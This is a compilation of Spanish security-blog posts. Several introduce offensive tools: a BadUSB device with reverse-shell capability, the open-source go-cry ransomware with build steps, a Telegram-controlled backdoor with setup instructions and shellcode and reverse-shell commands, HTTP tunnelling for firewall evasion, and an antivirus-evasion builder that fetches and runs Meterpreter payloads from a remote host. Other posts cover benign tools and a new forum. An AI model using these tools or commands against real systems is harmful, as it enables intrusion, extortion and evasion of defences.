MalDuino: el "BadUSB open source" construido sobre Arduino

Ya sabéis que BadUSB es una "vulnerabilidad" en las unidades flash USB que permite reprogramarlas para que actúen como un teclado o escriban comandos en las máquinas de destino. Hace unos meses hablamos en el blog de usar una placa Teensy con Arduino y mediante Brutal montarnos nuestro propio Rubber Ducky de bajo coste.

Pues bien, hoy nos ha sorprendido un proyecto de crowdfunding en Indiegogo que por cierto lleva recolectada bastante pasta y precisamente hace algo parecido: una solución de código abierto de BadUSB construida sobre la plataforma Arduino.

Se llama Malduino y fue lanzada recientemente por el londinense Jhonti Todd-Simpson aka seytonic, que arranca con dos prototipos distintos:

- Elite:
. Los scripts se almacenan en una tarjeta microSD, sin necesidad de reprogramar MalDuino para cada script!
. Tiene un conjunto de interruptores DIP, lo que le permite almacenar muchos scripts en una tarjeta microSD y cambiar entre ellos.
. No hay límite de tamaño de script, siempre que quepa en la tarjeta microSD.

- Lite:
. El más pequeño y el más ocultable de los dos.
. Utiliza los 30kb de memoria incorporada para almacenar scripts (Más que suficiente para la mayoría de los scripts)
. Incorpora un interruptor para deshabilitar el dispositivo para que no se ejecute cuando se desea programarlo.


Con cualquiera de las dos versiones es posible obtener una shell inversa, cambiar el fondo de escritorio y realizar otras bromitas... Lo bueno: que dispondremos del código fuente...

Proyectohttps://www.indiegogo.com/projects/malduino-badusb-arduino-usb#/

go-cry: un ransomware de código abierto escrito en go

En 2015 os hablábamos de Hidden Tear, el primer ransomware de código abierto. Pocos meses después crearon native-tear, un clon escrito en C++, y hoy os traemos go-cry otro port escrito en Go.



Go-cry es un proyecto que fue escrito para mostrar lo fácil que es crear código extremadamente malicioso, de hecho si observáis el código veréis que es sumamente sencillo. Ya sabéis que el ransomware está diseñado para secuestrar los archivos más queridos de la víctima demandando grandes cantidades de dinero para desbloquearlos.

Go-cry se compone de dos partes, un servidor web y el software cliente. Los archivos de salida se situarán en ./bin/

Se puede compilar con los parámetros -w -s para minimizar el tamaño del archivo. Para reducir aún más el tamaño de los binarios Go, echa un vistazo al proyecto UPX.

Creación de cliente y servidor web
    ./bin/windows_amd64.exe
    ./bin/windows_x86.exe
    ./bin/linux_amd64
    ./bin/linux_x86
    ./bin/macos (amd64)
$ make

Creará los archivos

    ./bin/web[.exe]
    ./bin/cry[.exe]


Creación de cliente para todos los sistemas operativos y arquitecturas comunes

$ make all

Creará los archivos

    ./bin/windows_amd64.exe
    ./bin/windows_x86.exe
    ./bin/linux_amd64
    ./bin/linux_x86
    ./bin/macos (amd64)


Desinstalación

Eliminará todos los archivos del directorio bin:

$ make clean

Configurar el servidor web

Edita web/web.go y modifica los valores. Están comentados y son sencillos de entender.

Cliente

Edita el fichero config.go y modifica los valores correspondientes.

Si modificas la variable de tamaño de clave RSA Bits, consulta EncryptedHeaderSize. La longitud del texto cifrado RSA cambia dependiendo del tamaño de clave utilizado y no se calcula en tiempo de ejecución.

Notas

Este programa no solicita dinero a la víctima. Simplemente cifra los archivos con las extensiones especificadas en la constante config.go ProcessMax y la envía al servidor

Aviso legal

Go-cry sólo puede ser utilizado para fines educativos.

Proyecto: https://github.com/redpois0n/cry

Cómo hacer copia de seguridad de tu historial de Telegram (Telegram backup)

Actualmente uso Telegram para (casi) todos los grupos y canales de hacking y, si bien no tiene la misma magia de la vieja consola del IRC, aporta algunas mejoras como los cachondísimos gifs y stickers y sobretodo la movilidad, ya que desde el smartphone puedes leer los chats cómodamente desde el sillón de tu casa... o desde la taza del wc...

Una de las características que diferencian a Telegram de otras aplicaciones de IM como Whatsapp es que almacena todos los chats en su nube, ya sean mensajes, fotos, videos o documentos y siempre que no se traten de chats secretos/cifrados punto a punto.  Esto es una ventaja a la hora de recuperar los datos rápidamente desde cualquier dispositivo, sin necesidad de tener que hacer backups ni mover los datos guardados localmente de un sitio a otro, pero por otro lado puede ser también un problema de seguridad tener el historial de nuestras conversaciones en una nube y de forma perpetua.

Es decir, está claro que Telegram jura y perjura que los datos que guarda están cifrados y las claves repartidas en distintos DCs, pero ¿quién nos dice que mañana no llame a la puerta de Telegram ningún gobierno y le entregue todas las keys para recuperar nuestras conversaciones? ¿o que Telegram sufra una brecha y/o se descubran nuevas vulnerabilidades que comprometan sus servidores o el proceso de autenticación? Nadie...

Por eso lo mejor, si tienes un grupo "algo delicado", puede ser buena opción borrar periódicamente el historial. Quede claro que tampoco tendremos la garantía de que Telegram no pueda recuperarlo incluso habiéndolo eliminado, porque aunque no conozco la política de backup y retención de la empresa seguro que pueden hacerlo (ellos ya avisan que nunca borran las fotos de gatitos), pero al menos estaremos más protegidos ante una incursión o robo de credenciales por parte de un tercero.

En cualquier caso antes de borrar el chat de un grupo o supergrupo seguramente queremos quedarnos nuestra propia copia de seguridad para consultarla si es necesario, o incluso para tener la información en local y poder manejarla más fácilmente y bueno, lo que vamos a ver hoy es una forma de hacerlo muy fácilmente con una herramienta escrita en java que nos permitirá realizar la copia de seguridad desde nuestro Güindous, Linux o nuestra cafetera.

Se trata de Telegram Backup del alemán Fabian Schlenz, como decimos una app escrita en java que nos permitirá descargar todo nuestro historial de los servidores de Telegram para mantener una copia en local.

Custom-bytecode-analyzer: análisis de JARs mediante reglas personalizadas

Custom-bytecode-analyzer es una herramienta de línea de comandos que recibe un directorio y un archivo JSON como parámetros. Analiza los archivos JAR dentro del directorio (usando el framework ASM) y genera un report dependiendo de las reglas definidas. Un ejemplo del tipo de reglas que acepta sería:
{
    "rules": [{
        "name": "Method invocation by reflection",
        "invocations": [{
            "owner": "java.lang.reflect.Method",
            "method": {
                "name": "invoke"
            }
        }]
    }]
}

El report generado mostraría todas las llamadas de java.lang.reflect.Method. invoke(...) que haya en el directorio a analizar. 

La herramienta puede usarse para encontrar vulnerabilidades en proyectos Java sin importar si se dispone del código fuente (es básicamente para lo que la hice, pero al final decidí subirla a GitHub). Aun sigo desarrollándola para que soporte más reglas.

Espero que os parezca interesante, me encantaría saber vuestra opinión.

Tenéis más detalle en el 'readme' y el código en Github: https://github.com/fergarrui/custom-bytecode-analyzer

Contribución gracias a Fernando García

pd. ¿también has hecho tu propia herramienta y quieres compartirla? Ponemos a tu disposición nuestro repositorio Github y/o también podemos probarla y publicar una entrada. ¡Participa!

PoC: "Meterpreteando" via Telegram

Hoy vengo a hablaros de una herramienta que ha salido hace poco tiempo del horno, tiene diversos fallos, pero lo importante es la idea que dicha herramienta nos deja.

Hablo de BT2, una herramienta desarrollada por el equipo de BlazerInfoSec, que al ser ejecutada crea un backdoor con el que podremos "meterpretear" (es algo parecido a meterpreter pero mucho más simple) desde Telegram el ordenador víctima, sí, como oyes, desde Telegram. Esto es posible gracias a que la aplicación genera una conexión con un bot que nosotros crearemos previamente, con el que nosotros podremos ejecutar comandos sobre el ordenador víctima, y todo sin salirnos de Telegram, como si estuvieseis dialogando con cualquier otra persona.

Esta herramienta ha sido desarrollada en python y, como os digo, aún está muy "verde" pero la idea es muy buena.

Vamos a ver como instalarla desde cero (en una máquina Windows):
  1.  Vamos a crear nuestro bot, para eso iremos al Bot Father (http://telegram.me/botfather) e iniciaremos una conversación con "/start", posteriormente crearemos el bot con "/newbot" y nos solicitará que elijamos el nombre del bot. Luego nos preguntará como será el usuario del bot, ponemos el nombre que queramos acabado en "bot".
  2.  Bot Father nos dara el link para hablar con bot que acabamos de crear junto a un token que guardaremos.
  3.  Ahora vamos a proceder a instalar el backdoor, para ello debemos de tener instaladas las dependencias Telepot y requests. Luego, descargaremos BT2 desde github y lo descomprimiremos.
  4. Observamos que la carpeta contiene 3 archivos en .py, el primero bt2.py que será el programa principal que ejecutará el backdoor, backdoorutils.py que será el backdoor y luego, genshellcode-example.py, que al ejecutarse generará una shell codificada en base64, para poder usarla como ejemplo en el programa.
  5. Ahora configuraremos el backdoor para que se conecte con el bot. Debemos editar el archivo bt2.py, en la linea 30 veremos: API_TOKEN = 'YOUR_API_KEY_HERE', sustituiremos YOUR_API_KEY_HERE por el token que Bot Father nos dió durante el primer paso. Luego en la linea 31 nos encontraremos: BOTMASTER_ID = 00000000. Esos ceros los sustituimos por nuestra ID de Telegram (nos la dice el bot userinfobot) y guardamos.
  6. Ejecutamos desde la terminal de Windows el archivo bt2.py y comenzamos el dialogo con nuestro bot.
  7. Escribimos "/help" y si se ha ejecutado la conexión, el bot nos responderá con todas las funciones disponibles: 
    • /command <argumento> - Ejecuta un comando
    • /shellcode <argumento> - Recibe una shell en base64 y la ejecuta (Solo en Windows)
    • /reverseshell <ip> <puerto> - Crear una conexión reversa en una IP y puerto
    • /sysinfo - Devuelve la información del sistema-victima
    • /whoami - Devuelve el usuario registrado actualmente
    • /download - Descarga un archivo determinado
    • /upload - Sube un archivo determinado (no funciona actualmente)
    • /kill - Mata el backdoor
    • /help - Despliega la ayuda

Como ya he dicho, algunas de estas funciones no funcionan debido a que el proyecto aún está poco desarrollado, pero la idea que nos deja es muy buena para futuras aplicaciones... }:-)

¡Nuevo foro de Hackplayers!

Como bien sabemos, la comunicación entre personas, el intercambio de información, la libertad de expresión, etc, etc... es muy importante, y más en el mundo de la seguridad informática en el cual cada día tienes algo nuevo que aprender y algo nuevo que enseñar al resto.

Cada persona va tener unos conocimientos que otro no tiene... pero si cada uno comparte los que tiene y el resto de personas aprenden de ellos, y así sucesivamente, al final conseguiremos formar un comunidad con amplios conocimientos.

Desde Hackplayers queremos fomentar esta comunicación, siéndonos muy grato el poder ofreceros este nuevo proyecto que nos traemos entre manos desde hace un tiempo: una nueva vía de comunicación, una nueva vía en la que todos podrán compartir información sin casi ninguna limitación, en la que podremos mantener el contacto toda la Comunidad y en la que podrá participar desde el más nuevo en el tema hasta el más profesional...

Hoy os traemos, sin más dilación, el nuevo sitio 'foro.hackplayers.com' en el que todo el mundo va a poder registrarse, participar, aprender y aportar su granito de arena.

Cuando accedáis podréis ver que inicialmente el foro lo hemos dividido en las siguientes categorías en el que cada uno podrá crear un hilo y dejar sus mensajes y comentarios:
  • General
    • Presentaciones
    • Dudas y Preguntas
    • Correspondencia
  • Pentesting (Red Team)
    • Attack Tools
    • Análisis de vulnerabilidades
    • Auditoría web
    • Explotación
    • Post-explotación
    • Ingeniería social
    • Wireless
    • Mobile (android & ios)
  • Malware (Black Team)
    • Análisis
    • Creación (RAT, crypters, etc.)
    • AV bypass
    • Ingeniería inversa (cracking)
    • Lock picking
    • Criptografía
  • Sysadmin (Blue Team)
    • Defense tools
    • Sistemas Operativos
    • Productos
    • Hardening
    • Análisis de código
    • Forense
    • Hardware y modding
    • Redes y comunicaciones
  • Programación general
  • Wargames & CTF
  • Biblioteca
  • Arte hacker
  • Off-topic
Por supuesto si necesitáis cualquier categoría sólo tenéis que pedirla.

Este proyecto ha sido desarrollado por un grupo de personas que de forma altruista se han ofrecido a colaborar para que se pueda llevar a cabo; dar las gracias en especial a Pablo, Romam y Vicente (Vis0r), que gracias a ellos hemos podido llevar todo esto a buen puerto.

El staff de este foro se compondrá de: Vis0r, Romam, Pabloko, KaoRz, Null, Tesla, Jask, HomerSimpson y Dune. Cualquier propuesta o duda, no dudéis en contactar con nosotros, ya sea a traves de la mensajería del foro o cualquier otro medio de comunicación ya mencionado con anterioridad.

Esperamos que os guste y que os registréis. Si no sois muy vergonzosos tenéis el apartado de presentaciones para poder conoceros un poquillo más.

¡Nos leemos!

iptodomain: Extrae dominios de IPs publicas mediante Virustotal

Les quiero presentar una herramienta llamada iptodomain, la cual puede ser utilizada en la fase de reconocimiento de un penetration testing, este script escrito en python permite automatizar la extracción de dominios, utilizando la información histórica, recolectada y archivada en Virustotal.
iptodomain es útil, cuando quieres conocer que dominios hay detrás de una IP pública.


iptodomain interactúa directamente con la API de Virustotal, a través de HTTP POST request con respuestas JSON para extraer los dominios que hay detrás de una IP pública. Al registrarte en Virustotal, este te provee una API key publica (free) con la cual puedes realizar un máximo de 4 peticiones por minuto, eso quiere decir que podrás escanear un máximo de 4 IPs por minuto. Si se quiere tener una mayor tasa de solicitudes por minuto se debe consultar por la API privada de Virustotal.

La herramienta viene pre configurada con una API key, pero recomiendo que se registren en Virus total y obtengan su propia API key publica, con el fin de evitar errores ya que, si dos personas utilizan la misma API key al mismo tiempo, se tendrán errores, debido a que superara la tasa permitida por Virus Total.

iptodomain fue testeada en Kali Linux 2.0, en esta distribución no necesitas instalar ningún modulo adicional y funciona perfectamente.

Lo primero es descarga el script de mi repositorio en Github:

git clone https://github.com/jevalenciap/iptodomain.git

Seguidamente con el parámetro -h podemos ver el help:


En el siguiente ejemplo vemos como con el parámetro -i le especificamos la IP inicial del rango que deseamos escanear y con -f especificamos la IP final del rango, el parámetro -w nos permitirá guardar en un archivo todos los dominios encontrados con su respectiva IP, el parámetro -r creara un segundo archivo con los dominios encontrados eliminando dominios duplicados y finalmente -v nos mostrara en tiempo de ejecución los dominios que va encontrando.


Al finalizar podemos ver como sobre la misma carpeta quedan los almacenados los dos reportes.


Esto es todo... espero este script les sea útil.

Saludos desde Colombia,

Juan Esteban Valencia Pantoja

pd. ¿también has hecho tu propia herramienta y quieres compartirla? Ponemos a tu disposición nuestro repositorio Github y/o también podemos probarla y publicar una entrada. ¡Participa!

Chisel: otra herramienta para crear un túnel TCP sobre HTTP

En el blog ya hemos visto distintas herramientas como regeorg, tunna o ABPTTS para crear túneles TCP sobre HTTP y, para complementar el abanico de opciones para evadir firewalls y pivotar hacia la red interna, hoy os traemos Chisel de Jaime Pillora.

Se trata de una herramienta muy similar a Crowbar pero que mejora considerablemente su rendimiento. Sus principales características son:

- Fácil de usar
- Ofrece buen rendimiento
- Cifra las conexiones mediante crypto/ssh
- Permite establecer autenticación para la conexión, mediante un fichero de config en la parte cliente y mediante fingerprint en la parte del servidor
- Realiza auto-reconexión del cliente
- El cliente puede crear múltiples tunnel endpoints sobre la misma conexión TCP
- El servidor puede actuar opcionalmente como proxy inverso

Instalación

Chisel está escrito en Go (golang) por lo que lo primero que deberemos hacer, si no lo tenemos ya, es instalarlo y configurar el GOPATH:

apt-get install go-lang
mkdir ~/.go
echo "GOPATH=$HOME/.go" >> ~/.bashrc
echo "export GOPATH" >> ~/.bashrc
echo "PATH=\$PATH:\$GOPATH/bin # Add GOPATH/bin to PATH for scripting" >> ~/.bashrc
source ~/.bashrc

Luego para instalarlo tendremos dos opciones, o crear los binarios a partir de la fuente:

$ go get -v github.com/jpillora/chisel

O ejecutarlo directamente desde un contenedor docker:

$ docker run --rm -it jpillora/chisel --help

Uso

Su uso es muy sencillo. Podéis ver las opciones disponibles llamando al parámetro --help.

$ chisel server --help
 Usage: chisel server [options]

    Options:

      --host, Defines the HTTP listening host – the network interface
      (defaults to 0.0.0.0).

      --port, Defines the HTTP listening port (defaults to 8080).

      --key, An optional string to seed the generation of a ECDSA public
      and private key pair. All commications will be secured using this
      key pair. Share this fingerprint with clients to enable detection
      of man-in-the-middle attacks.

      --authfile, An optional path to a users.json file. This file should
      be an object with users defined like:
        "<user:pass>": ["<addr-regex>","<addr-regex>"]
        when <user> connects, their <pass> will be verified and then
        each of the remote addresses will be compared against the list
        of address regular expressions for a match. Addresses will
        always come in the form "<host/ip>:<port>".

      --proxy, Specifies the default proxy target to use when chisel
      receives a normal HTTP request.

      -v, Enable verbose logging

      --help, This help text

    Read more:
      https://github.com/jpillora/chisel

Evadiendo el AV con Golang

Metasploit tiene dos excelentes módulos diseñados para actualizar una simple shell a Meterpreter mediante una llamada a un servidor Web o servidor SMB. El primer módulo es exploit/multi/script/web_delivery y el otro es exploit/windows/smb/smb_delivery.  Utilizando estos módulos se puede ejecutar un comando Powershell, PHP, Python o Rundll para actualizar el shell existente a meterpreter.

Pero, ¿qué sucede si no tenemos previamente una shell y sólo podemos llamar a un ejecutable?. Podríamos crear un meterpreter u otro payload pero al subirlo y escribirlo en disco es muy probable que el antivirus lo detecte. Pero, ¿y si creamos un ejecutable muy simple que sólo haga la llamada necesaria a web_delivery o smb_delivery y luego cargue meterpreter en memoria? Este ejecutable probablemente no será detectado por el AV...

El script stealth.go hace exactamente eso. Toma unos pocos parámetros, el tipo de payload deseado, el servidor Metasploit y el puerto, y un nombre de carpeta y crea un pequeño ejecutable de Golang que hace la llamada apropiada a Metasploit.

Para usar el script necesitaremos una versión reciente de Golang y seguir unos sencillos pasos:

1.- Configura el módulo Metasploit web_delivery o smb_delivery según lo deseado. Ten en cuenta que para el módulo web_delivery se necesita establecer el parámetro URIPATH y en el módulo smb_delivery se debe establecer el parámetro SHARE y dejar sin configurar el parámetro FOLDER_NAME.

2.- Ejecuta el módulo stealth.go para crear un binario llamado shell (* nix) o shell.exe (Windows):

    go run stealth.go ps 10.10.10.1 8080 test

Esto construirá un ejecutable que hará una llamada de Powershell para descargar y ejecutar código desde http://10.10.10.1:8080/test.

  go run stealth.go smb 10.10.10.1 445 test

Y esto construirá un ejecutable que hará una llamada rundll32 a \\10.10.10.1\test y ejecutará el payload entregado.

3.- Ejecuta shell o shell.exe y comprueba en Metasploit si tenemos la sesión Meterpreter.

El código stealth.go se puede encontrar en Github:  https://github.com/averagesecurityguy/scripts/blob/master/stealth.go

Fuente: Bypassing AntiVirus with Golang

¡Vaya par de bots que no paran de charlar!

El emprendedor Brian Feldman ha creado una transmisión en vivo de Twitch que muestra dos dispositivos modificados de Google Home que tienen una conversación bastante fluida e interesante. No está claro quién empezó el flujo, pero la cuenta de Twitter @seebotschat ha estado compartiendo las idas y venidas de este par de personalidades virtuales desde el 3 de enero.

Los bots han sido etiquetados como Vladimir (masculino) y Estragon (femenino), y aunque el interminable diálogo puede ser bastante tedioso, no deja de ser alucinante ver como comentan, discuten, y hablan de muchos y variados temas (incluso llegaron a coquetear).

Así que si quieres ver como interectúan y, en definitiva, como son las relaciones sociales en el comienzo del despegue de la IA, te invitamos a asomarte a la siguiente ventana indiscreta, que a fecha de este post sigue mostrando en tiempo real las conversaciones de este par de bots:
 
seebotschat - Twitch